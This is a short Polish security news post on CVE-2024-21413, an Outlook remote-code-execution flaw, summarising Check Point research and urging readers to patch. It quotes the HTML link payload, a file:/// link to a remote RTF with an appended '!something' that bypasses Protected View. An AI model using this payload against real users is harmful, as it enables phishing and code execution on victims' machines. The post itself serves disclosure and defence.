Krytyczna podatność klasy RCE (Remote Code Execution) w Outlooku. CVE-2024-21413.

Czytając ten opis od Microsoftu, można całkiem mocno się zestresować. Co my tutaj mamy?

• RCE bez uwierzytelnienia w Outlooku
• Niemal maksymalna krytyczność (9.8 w skali CVSS)
• Eksploitacja nie wymaga interakcji ze strony ofiary
• Podatność jest exploitowana w realnych atakach Aktualizacja: Microsoft zmienił podaną wcześniej przez siebie informację. Wg obecnego statusu podatność najpewniej nie jest exploitowana.

Czy wystarczy więc wysłanie do kogoś odpowiednio spreparowanego maila i Game Over? Wygląda na to, że nie jest aż tak źle. Nie jest też różowo. Nieco więcej szczegółów dostarcza świeże badanie od firmy Checkpoint. Czytamy tutaj, że umieszczenie takiego linku w mailu:

<a href=”file:///\\10.10.111.111\test\test.rtf”>CLICK ME</a>

powodowało, że jego kliknięcie przez użytkownika-ofiarę… nic nie dawało. Ale już zaopatrzenie linku w wykrzyknik oraz losowe znaki otwierało dokument MS Word (rtf):

<a href=”file:///\\10.10.111.111\test\test.rtf!something”>CLICK ME</a>

Co więcej, tak skonstruowany link otworzy plik Worda z wyłączonym Protected View.

Podsumowując, wygląda na to, że exploit wygląda tak:

• Atakujący przesyła e-maila z linkiem do kliknięcia przez ofiarę
• Ofiara klika linka
• W tle otwiera się plik Worda dostarczony przez atakującego
• Plik Worda zawiera (osobnego) exploita dającego wykonanie kodu na komputerze ofiary

Ale nie prościej wysłać po prostu zainfekowany załącznik Worda, licząc że ofiara go otworzy? Niekoniecznie – jednak kliknięcie w link jest prostsze niż otworzenie załącznika. Co więcej w przypadku załącznika, atakujący musiałby dodatkowo ominąć mechanizm Protected View (np. poprzez skłonienie ofiary do dodatkowego kliku).

Aktualizujcie się.

~ms